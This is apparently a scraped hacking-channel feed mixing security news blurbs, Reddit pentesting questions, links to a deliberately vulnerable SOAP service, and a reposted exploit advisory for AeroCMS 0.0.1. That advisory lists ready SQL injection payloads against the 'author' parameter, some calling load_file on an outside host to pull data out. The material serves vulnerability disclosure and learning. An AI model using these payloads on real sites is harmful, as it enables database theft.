Brute Force Code:https://github.com/anil-yelken/Vulnerable-Soap-Service/blob/main/brute.py

___________________________
@hacking_Attack
@Hacking_Video

Deserialization Code: https://github.com/anil-yelken/Vulnerable-Soap-Service/blob/main/deserialization_socket.py https://github.com/anil-yelken/Vulnerable-Soap-Service/blob/main/deserialization_requests.py

___________________________
@hacking_Attack
@Hacking_Video

Download Vulnerable-Soap-Service (https://github.com/anil-yelken/Vulnerable-Soap-Service)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
AeroCMS 0.0.1 SQL Injection

https://3.bp.blogspot.com/-jrxagBWWEzc/WWlvX2ct0sI/AAAAAAAAIOc/SeYUuYsvaHQ6pP3Hky0NtyeOgPg6HpFpgCLcBGAs/s1600/h54.png
AeroCMS version 0.0.1 suffers from a remote SQL injection vulnerability.

SHA-256 | 6ad6e0c3d5d0d42b2784f9f7f7a8d4b0d53123b46c7de609a3173db9ed01f80a

Download
## Title: AeroCMS-v0.0.1 SQLi
## Author: nu11secur1ty
## Date: 08.27.2022
## Vendor: https://github.com/MegaTKC
## Software: https://github.com/MegaTKC/AeroCMS/releases/tag/v0.0.1
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/MegaTKC/2021/AeroCMS-v0.0.1-SQLi

## Description:
The `author` parameter from the AeroCMS-v0.0.1 CMS system appears to
be vulnerable to SQL injection attacks.
The malicious user can dump-steal the database, from this CMS system
and he can use it for very malicious purposes.

STATUS: HIGH Vulnerability

[+]Payload:
```mysql
---
Parameter: author (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: author=-5045' OR 8646=8646 AND 'YeVm'='YeVm&p_id=4

Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: author=admin'+(select
load_file('\\\\7z7rajg38ugkp9dswbo345g0nrtkha518pzcp0e.kufar.com\\pvq'))+''
OR (SELECT 7539 FROM(SELECT COUNT(*),CONCAT(0x717a6a6a71,(SELECT
(ELT(7539=7539,1))),0x7170716b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'mwLN'='mwLN&p_id=4

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: author=admin'+(select
load_file('\\\\7z7rajg38ugkp9dswbo345g0nrtkha518pzcp0e.kufar.com\\pvq'))+''
AND (SELECT 6824 FROM (SELECT(SLEEP(5)))QfTF) AND 'zVTI'='zVTI&p_id=4

Type: UNION query
Title: MySQL UNION query (NULL) - 10 columns
Payload: author=admin'+(select
load_file('\\\\7z7rajg38ugkp9dswbo345g0nrtkha518pzcp0e.kufar.com\\pvq'))+''
UNION ALL SELECT
NULL,NULL,CONCAT(0x717a6a6a71,0x4f617a456c7953617866546b7a666d49434d644662587149734b6d517a4e674d5471615a73616d58,0x7170716b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&p_id=4
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/MegaTKC/2021/AeroCMS-v0.0.1-SQLi)

## Proof and Exploit:
[href](https://streamable.com/ir9bjt)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Few questions about the CRTP course/Exam.
https://www.reddit.com/r/Pentesting/comments/x0sxwe/few_questions_about_the_crtp_courseexam/

1) in trust key attack between forest thingy
lets say i dump hashes using mimikatz once from my local machine (as a local admin)
and once as domain admin, i will probably get two different krbtgt hashes, the one from the DA is the one used in the attack right ? 2) some times the lecturer uses dcorp-dc.dollarcorp.moneycorp.local and sometimes just dcorp-dc whats the difference between the two ? 3) lets say im in the exam and i escalate privs, which mimikatz command do i go for ?
Skeleton key attack, DSRM attacks, etc each has its own command
is there like a vanilla mimikatz i should go for once i escalate privs ?
if the answer is to do more enumeration, most attacks discussed in the course don't exactly tell you when to execute this attack after the enum steps, basically they dont tell you “when you see this in your enumeration results you should go for this attack” so how should i know ? submitted by /u/watermelonSoundsNice (https://www.reddit.com/user/watermelonSoundsNice)
[link] (https://www.reddit.com/r/Pentesting/comments/x0sxwe/few_questions_about_the_crtp_courseexam/) [comments] (https://www.reddit.com/r/Pentesting/comments/x0sxwe/few_questions_about_the_crtp_courseexam/)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
A technical analysis of Pegasus for Android – Part 1

https://external-preview.redd.it/oKjKnKISHfE8YCEryK42yse7RL1RMqY2pYzX2bababk.jpg?width=640&crop=smart&auto=webp&s=a540d19bbb86ac6e809287b9aac2101f8abd7d3e submitted by /u/CyberMasterV
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Anyones company regularly scanning all 65k ports?

For your company’s vulnerability management program, is anyone here regularly scanning all 65k ports for all/nearly all assets?

What do your scan profiles look like if so? If you’re not, are you just scanning top ports? Do you have certain assets you try to scan a wider range of ports for?

Thanks!

submitted by /u/secj44
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
A CSRF vulnerability in the popular csurf package

https://external-preview.redd.it/NmT3De8f3wPwyWLamVzys73FjqITwsB2MSAsMdn7ApM.jpg?width=640&crop=smart&auto=webp&s=493f6379a5884149322ba1b3f67ca741aab331eb submitted by /u/adrian_rt
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
The HEAT Is On, Says Menlo Security

Neko Papez, senior manager, cybersecurity strategy for Menlo Security, helps customers understand if they’re vulnerable to highly evasive adaptive threats (HEAT).

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
DeepSurface Adds Risk-Based Approach to Vulnerability Management

DeepSurface’s Tim Morgan explains how network complexity and cloud computing have contributed to the challenge, and how automation can help.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Banyan Recommends Phased Approach When Introducing Zero Trust

Banyan Security’s Jayanth Gummaraju makes the case for why zero trust is superior to VPN technology.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Mimecast: Mitigating Risk Across a Complex Threat Landscape

Garrett O’Hara of Mimecast discusses how companies can bolster security of their Microsoft 365 and Google Workspace environments, since cloud services often add complexity.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Expiring Root Certificates Threaten IoT in the Enterprise

What happens when businesses' smart devices break? CSOs have things to fix beyond security holes.

Dark Reading: Attacks/Breaches
Identity Security Pain Points and What Can Be Done

Replacing passwords is not as easy as people think, but there is hope.

Dark Reading: Attacks/Breaches
How Qualys Reduces Risk and Enables Tool Consolidation

Sumedh Thakar, CEO of Qualys, explains how moving to a cloud-based asset management platform can simplify their strategies and improve overall security.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
New 'BianLian' Ransomware Variant on the Rise

Novel ransomware was created with the Go open source programming language, demonstrating how malware authors increasingly are opting to employ the flexible coding language.